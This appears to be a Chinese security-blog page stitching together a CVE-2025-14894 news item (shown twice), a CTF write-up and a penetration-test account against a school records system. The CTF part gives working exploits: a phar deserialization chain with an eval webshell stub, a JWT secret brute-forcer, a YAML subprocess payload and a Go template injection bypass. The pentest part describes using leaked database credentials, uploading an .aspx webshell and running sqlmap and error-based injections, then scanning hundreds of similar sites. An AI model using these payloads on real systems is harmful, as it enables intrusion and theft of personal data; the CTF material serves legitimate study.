标签 文件上传漏洞 下的文章

Livewire Filemanager(一个在 Laravel PHP 框架中广泛使用的文件管理工具)中被发现了一个严重的新安全漏洞,可能导致 Web 应用面临 ** 未授权远程代码执行(RCE)** 风险。该漏洞编号为 CVE-2025-14894,CVSS 评分为 7.5,表明其对使用该组件的开发者和企业构成重大威胁。
漏洞的核心在于文件管理器处理上传数据的方式。根据 CERT/CC 的安全公告,该组件没有对用户上传的文件进行充分校验
“LivewireFilemanager 的 Component.php… 没有执行文件类型和 MIME 验证,允许通过上传恶意 PHP 文件实现 RCE。”
在典型攻击场景中,威胁 actor 可以将恶意 PHP 脚本伪装成正常文件上传。由于应用没有验证文件类型,它会被接受。如果服务器配置为公开访问这些文件—— 特别是执行过常见的 php artisan storage:link 命令 —— 攻击者只需访问该文件的 URL 即可触发执行。
“这使得攻击者能够创建恶意 PHP 文件、上传到应用,然后强制应用执行它,从而在目标设备上实现未授权任意代码执行。”
该漏洞之所以特别危险,是因为它利用了 Laravel 环境中 “非常常见的部署步骤”。漏洞说明指出,虽然 Livewire Filemanager 的开发者认为文件验证 “不在其范围内”,属于用户的责任,但默认行为加上标准 Laravel 配置,就形成了一条直接的攻击路径。
成功利用该漏洞的后果非常严重。攻击者能够以 Web 服务器用户权限 执行任意代码。
“该漏洞允许未授权攻击者以 Web 服务器用户身份执行代码,从而能够完全读写该用户可访问的所有文件,并进一步横向移动、攻陷其他设备。”
截至公告发布时,官方尚未发布补丁。报告还指出工具开发者的回应令人担忧:“在撰写本文时,厂商尚未确认该漏洞。”
在正式修复发布之前,安全团队应立即采取防御措施。CERT/CC 建议管理员检查其应用是否公开提供存储文件访问。
“CERT/CC 建议谨慎使用 Laravel Filemanager,并检查是否曾执行过 php artisan storage:link 命令。如果已执行,应考虑移除该工具的 Web 访问能力。”

Livewire Filemanager(一个在 Laravel PHP 框架中广泛使用的文件管理工具)中被发现了一个严重的新安全漏洞,可能导致 Web 应用面临 ** 未授权远程代码执行(RCE)** 风险。该漏洞编号为 CVE-2025-14894,CVSS 评分为 7.5,表明其对使用该组件的开发者和企业构成重大威胁。
漏洞的核心在于文件管理器处理上传数据的方式。根据 CERT/CC 的安全公告,该组件没有对用户上传的文件进行充分校验
“LivewireFilemanager 的 Component.php… 没有执行文件类型和 MIME 验证,允许通过上传恶意 PHP 文件实现 RCE。”
在典型攻击场景中,威胁 actor 可以将恶意 PHP 脚本伪装成正常文件上传。由于应用没有验证文件类型,它会被接受。如果服务器配置为公开访问这些文件—— 特别是执行过常见的 php artisan storage:link 命令 —— 攻击者只需访问该文件的 URL 即可触发执行。
“这使得攻击者能够创建恶意 PHP 文件、上传到应用,然后强制应用执行它,从而在目标设备上实现未授权任意代码执行。”
该漏洞之所以特别危险,是因为它利用了 Laravel 环境中 “非常常见的部署步骤”。漏洞说明指出,虽然 Livewire Filemanager 的开发者认为文件验证 “不在其范围内”,属于用户的责任,但默认行为加上标准 Laravel 配置,就形成了一条直接的攻击路径。
成功利用该漏洞的后果非常严重。攻击者能够以 Web 服务器用户权限 执行任意代码。
“该漏洞允许未授权攻击者以 Web 服务器用户身份执行代码,从而能够完全读写该用户可访问的所有文件,并进一步横向移动、攻陷其他设备。”
截至公告发布时,官方尚未发布补丁。报告还指出工具开发者的回应令人担忧:“在撰写本文时,厂商尚未确认该漏洞。”
在正式修复发布之前,安全团队应立即采取防御措施。CERT/CC 建议管理员检查其应用是否公开提供存储文件访问。
“CERT/CC 建议谨慎使用 Laravel Filemanager,并检查是否曾执行过 php artisan storage:link 命令。如果已执行,应考虑移除该工具的 Web 访问能力。”

前言

本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。

Ez_readfile

php反序列化利用phar协议绕过waf写入webshell

析构函数中根据 $mode 值做不同操作:

  • 'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。
  • 'r': include($_POST[0]) —— 文件包含漏洞

构造利用链

需要绕过正则,常用协议无法使用,这里使用glob协议

Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
 → `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()

根据利用连构造EXP如下

<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }

@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

使用gz压缩绕过WAF

D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00

POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

EZ_python

考察点:JWT伪造爆破

​ yaml文件正则过waf文件上传进行命令执行

任意伪造jwt会报错密钥前缀,构造py爆破密钥

# brute_jwt.py
import jwt
import string
import itertools

# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"

# 字符集
charset = string.ascii_letters + string.digits  # a-z, A-Z, 0-9

print("🚀 开始爆破密钥...")

for suffix in itertools.product(charset, repeat=2):
    secret = secret_prefix + ''.join(suffix)
    try:
        # 尝试解码
        decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
        print(f"\n✅ 成功!密钥为:{secret}")
        print(f"Payload: {decoded}")
        break
    except jwt.InvalidTokenError:
        continue
else:
    print("❌ 未找到密钥")

获取到密钥构造admin权限的token进行文件上传

# sign_admin.py
import jwt

# 已知信息
secret = "@o70xO$0%#qR9#m0"  # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"

# 新的 payload
new_payload = {
    "username": "admin",
    "role": "admin"
}

# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')

print("✅ 成功生成 admin JWT:")
print(new_token)

获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag

# send_yaml.py

import requests

url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}

# 上传 YAML 文件

files = {
    'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput

  - cat /f1111ag*
    ''', 'text/yaml'),
    'mode': (None, 'yaml')  # 注意:mode 可能是 'yaml' 或 'yml'
    }

r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)

SilentMiner

攻击者IP auth.log下攻击者进行ssh爆破

192.168.145.131

攻击者共进行多少次ssh口令爆破失败?

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

后门文件路径的绝对路径是什么?

sshd文件被修改并且重启了ssh服务

攻击者用户分发恶意文件的域名是什么?(注意系统时区)

/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为

挖矿病毒所属的家族是什么?

通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

CheckWebshell

流量分析比较简单,语法搜索字符串找到flag.txt

返回包是内容,发现flag为sm4的国密算法求解得到flag

<?php
class SM4 {
    const ENCRYPT = 1;
    private $sk; 
    private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
    private static $CK = [
        0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
        0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
        0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
        0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
        0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
        0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
        0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
        0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
    ];
    private static $SboxTable = [
        0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
        0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
        0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
        0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
        0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
        0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
        0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
        0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
        0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
        0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
        0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
        0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
        0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
        0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
        0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
        0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
    ];

    public function __construct($key) {
        $this->setKey($key);
    }
    public function setKey($key) {
        if (strlen($key) != 16) {
            throw new Exception("SM4");
        }
        $key = $this->strToIntArray($key);
        $k = array_merge($key, [0, 0, 0, 0]);
        for ($i = 0; $i < 4; $i++) {
            $k[$i] ^= self::$FK[$i];
        }
        for ($i = 0; $i < 32; $i++) {
            $k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
            $this->sk[$i] = $k[$i + 4];
        }
    }
    public function encrypt($plaintext) {
        $len = strlen($plaintext);
        $padding = 16 - ($len % 16);
        $plaintext .= str_repeat(chr($padding), $padding); 
        $ciphertext = '';
        for ($i = 0; $i < strlen($plaintext); $i += 16) {
            $block = substr($plaintext, $i, 16);
            $ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
        }
        return $ciphertext;
    }
    private function cryptBlock($block, $mode) {
        $x = $this->strToIntArray($block);

        for ($i = 0; $i < 32; $i++) {
            $roundKey = $this->sk[$i];
            $x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
            array_shift($x);
        }
        $x = array_reverse($x);
        return $this->intArrayToStr($x);
    }
    private function F($x1, $x2, $x3, $rk) {
        return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
    }
    private function CKF($a, $b, $c, $ck) {
        return $a ^ $this->T($b ^ $c ^ $ck);
    }
    private function T($x) {
        return $this->L($this->S($x));
    }
    private function S($x) {
        $result = 0;
        for ($i = 0; $i < 4; $i++) {
            $byte = ($x >> (24 - $i * 8)) & 0xFF;
            $result |= self::$SboxTable[$byte] << (24 - $i * 8);
        }
        return $result;
    }
    private function L($x) {
        return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
    }
    private function rotl($x, $n) {
        return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
    }
    private function strToIntArray($str) {
        $result = [];
        for ($i = 0; $i < 4; $i++) {
            $offset = $i * 4;
            $result[$i] =
                (ord($str[$offset]) << 24) |
                (ord($str[$offset + 1]) << 16) |
                (ord($str[$offset + 2]) << 8) |
                ord($str[$offset + 3]);
        }
        return $result;
    }
    private function intArrayToStr($array) {
        $str = '';
        foreach ($array as $int) {
            $str .= chr(($int >> 24) & 0xFF);
            $str .= chr(($int >> 16) & 0xFF);
            $str .= chr(($int >> 8) & 0xFF);
            $str .= chr($int & 0xFF);
        }
        return $str;
    }
}
try {
    $key = "a8a58b78f41eeb6a";
    $sm4 = new SM4($key);
    $plaintext = "flag";
    $ciphertext = $sm4->encrypt($plaintext);
    echo  base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
    echo $e->getMessage() ;
}
?>

hardtest

Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

Minigame

考点: 微信小程序解包,map 文件解包,wasm 还原

是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile

export memory a(initial: 258, max: 258); 
data d_a(offset: 1024) = 
 "\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8" 
 "\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4"; 
export function c(a:ubyte_ptr):int { // func0 
 var e:int; 
 var b:int_ptr; 
 var d:int; 
 var c:ubyte_ptr; 
 if ({ 
 d = a; 
 if (eqz(d & 3)) goto B_c; 
 0; 
 if (eqz(a[0])) goto B_a; 
 loop L_d { 
 a = a + 1; 
 if (eqz(a & 3)) goto B_c; 
 if (a[0]) continue L_d; 
 } 
 goto B_b; 
 label B_c: 
 loop L_e { 
 b = a; 
 a = b + 4; 
 if ( 
 ((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e; 
 } 
 loop L_f { 
 a = b; 
 b = a + 1; 
 if (a[0]) continue L_f; 
 } 
 label B_b: 
 a - d; 
 label B_a: 
 } != 
 38) { 
 return 0 
 } 
 loop L_h { 
 a = c[1024] ^ (c + d)[0]:byte; 
 b = a == 153; 
 if (a != 153) goto B_i; 
 c = c + 1; 
 if (c != 38) continue L_h; 
 label B_i: 
 } 
 return b; 
} 
export function b() { // func1 
}

把这两个代码给AI就可以直接得到 flag

Newtrick

考点:对称加密算法和离散对数问题

由于有根据源码直接推出解密脚本

from hashlib import md5 
from Crypto.Cipher import AES 
p = 
115792089237316195423570985008687907853269984665640564039457584007913129639
747 
F = GF(p) 
Q = (123456789, 987654321, 135792468, 864297531) 
N_Q = F(sum(x * x for x in Q)) 
R = ( 
 
535805042719399545796962826381600584293083019277531395431476058825743363271
45, 
799913182452098376229457194675627969511376052122949799764791997934539620908
91, 
531268698891810405870372104622761160960325946775601453062691481560347571601
28, 
973680242303063998595227832922465096998302542946496684346049712134964678571
55 
) 
N_R = F(sum(x * x for x in R)) 
try: 
 secret = discrete_log(N_R, N_Q, bounds=(0, 2^50)) 
 print("[+] Secret found:", secret) 
except Exception as e: 
 print("[-] discrete_log failed:", e) 
 
 secret = 895942422329 
key = md5(str(secret).encode()).digest() 
cipher = AES.new(key, AES.MODE_ECB) 
try: 
 flag = cipher.decrypt(encrypted_flag) 
 print("[+] Flag:", flag) 
except Exception as e: 
 print("[-] failed:", _e)

SSTi模板注入,golang的SSTI,执行

{{.}}

回显

map[B64Decode:0x6ee380 exec:0x6ee120]

直接执行

{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF

{{B64Decode "aGVsbG8="}}

可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag

{{B64Decode "Y2F0IC9mbGFn" | exec}}


0x 01 前言

在日常渗透测试中,总感觉ASP站打起来比较吃力,通常一些比较旧的站都使用ASP.NET WebForms这种类似桌面开发的框架来写Web程序。这类站点在登录界面甚至整个站点都很难见到一些JS文件,也就少了很多测试接口的机会。在没有口令登录的情况下,大大增加了渗透测试的难度。故记录一下一次打穿某ASP站点过程。

0x 02 渗透过程

起手是某学校教务系统的后台,观察路径为/Login,一般路径是大写字母打头的路径都是ASP站点居多,或者可使用Wappalyzer识别一下。

image.png



image.png



简单尝试了弱口令登录,但由于存在验证码限制,只能手工测试了几个常见口令,最终也未能成功登录。没有弱口令,没有JS文件,只能开扫目录,还好没有WAF拦截。

这一扫,还真扫出东西了,/dev目录没删,一看就是开发老哥调试的接口。

image.png



访问/dev,一看我去这不数据库账号密码吗,赶紧扫一下端口,看看数据库有没有开端口到外网。

image.png



简单使用 Goby 进行扫描,发现目标存在 MSSQL 数据库服务,思路逐渐清晰,随即尝试直接连接。

image.png



Navicat启动,发现存在大量师生信息,可惜没有身份证,只有学号、手机号。

image.png



虽然有系统后台账号和密码哈希,但是密码哈希是加盐的,也不好直接爆破。

image.png



回头看看开发老哥还给我留了一手大惊喜,居然有admin账号直接能重置密码,而且重置完密码是多少告诉我了

image.png



重置完,admin/admin成功进入后台管理员。

image.png



随便点点查看一下功能点,发现学生管理地方可以上传头像

image.png



image.png



直接上传asp文件,显示上传文件不合规,先上传正常文件,再抓包修改后缀名,都是一些常见的思路。

image.png



抓包上传后,显示未找到路径,也是十分奇怪,传png文件也是无法找到路径,但是访问路径/Files/Student/1/2025122812201752676661.aspx确实是传上去了。

image.png



直接antSword启动连接,上马成功,点到为止,也没有进行查看服务器其他东西。

image.png



资产测绘上搜索了一下,发现是一个通用的CMS,而且这个开发接口也有很多系统没有删除,想到这种ASP.NET WebForms站点比较旧,后台有SQL注入的概率估计比较高。依旧是代理开起来抓包,后台除了删除和添加数据的功能点都点一点,保证参数都能抓到,再一个个包简单测试一下。

也是十分幸运,/Grade/Report接口下的参数ctl00%24cphMain%24txtWhere单引号报错了,根据参数名猜测应该是拼接到SQL关键字where后面

image.png



刚开始使用SQLMAP还跑不出来,开了level5都没用,思路一下子断了,感觉不太可能注不出来才对,MSSQL相关注入还是学得太少了,有空还是得补补。

简单把报错语句贴给AI,才明白少加了括号闭合,其实后面看报错语句其实很明显,当时估计太激动了。。

image.png



sqlmap -r sql.txt --dbms="mssql" --prefix="')" --level 5 --batch

SQLMAP指定一下前缀--prefix="')"就秒出,看来还是不能太心机,容易头昏脑胀。

image.png



如果一个参数存在注入的话,大概率其他接口这个参数也能注入,开发编写ORM配置基本都是如此,除非是特意修复过,不然出货概率很大,在一堆的Yakit HTTP请求包中直接搜参数ctl00%24cphMain%24txtWhere,果不其然,又找到一个接口/Grade/Report1,除了接口不一样,参数啥基本一致,就不贴了。

0x 03 反思

相比Java站点,ASP.NET WebForms这类站点,在没有口令情况下属实难以动手,但一旦能进入到后台,文件上传很大都没有限制后缀,不像现在一些Java框架,直接在配置文件里面写了限制后缀jsp等,SQL注入出现的概率也会相对高一些。其实看到ASP.NET WebForms框架第一时间想的是打ViewState反序列化,但是貌似开了ViewState MAC(主要还是研究得少,下回系统研究一下),没那么好打。

image.png



0x 04 后续

在资产测绘搜索过程中,发现这个框架存在不少资产,其实也不多就几百个,根据接口批量进行扫描,在其他站点发现了一些其他接口存在SQL注入。首先是在后台有个高级搜索功能,点击之后会有能筛选字段,随便点击进行搜索。

image.png



image.png



使用Yakit抓包发现存在POST请求包,这个包中的很多字段跟前面那个包基本一致,所以也均存在SQL注入,大致FUZZ了一下

ctl00%24cphMain%24txtSearchTitle

ctl00%24cphMain%24txtSearchCreated

ctl00%24cphMain%24txtSearchStart

ctl00%24cphMain%24txtSearchEnd

这些参数均存不同拼接的SQL注入,大致的注入语句都差不多

使用payload:' AND 1/DB_NAME() ='就可以成功注入,这里使用1/xxx,xxx为字符串,这样可以让数据库类型转换失败而导致报错,至于后面拼接=是为了表达式值为bool类型,否则SQL语法会执行不了(根据单引号报错出来的SQL语句以及报错信息),忘了截图。。。

image.png



根据这个高级搜索功能,猜测其他接口也很可能会调用这个接口,毕竟是筛选功能,果不期然,也是找到三四个接口可以直接打,最后报告交上去也是刷了38Rank,可惜教育资产使用这个系统并不多。

image.png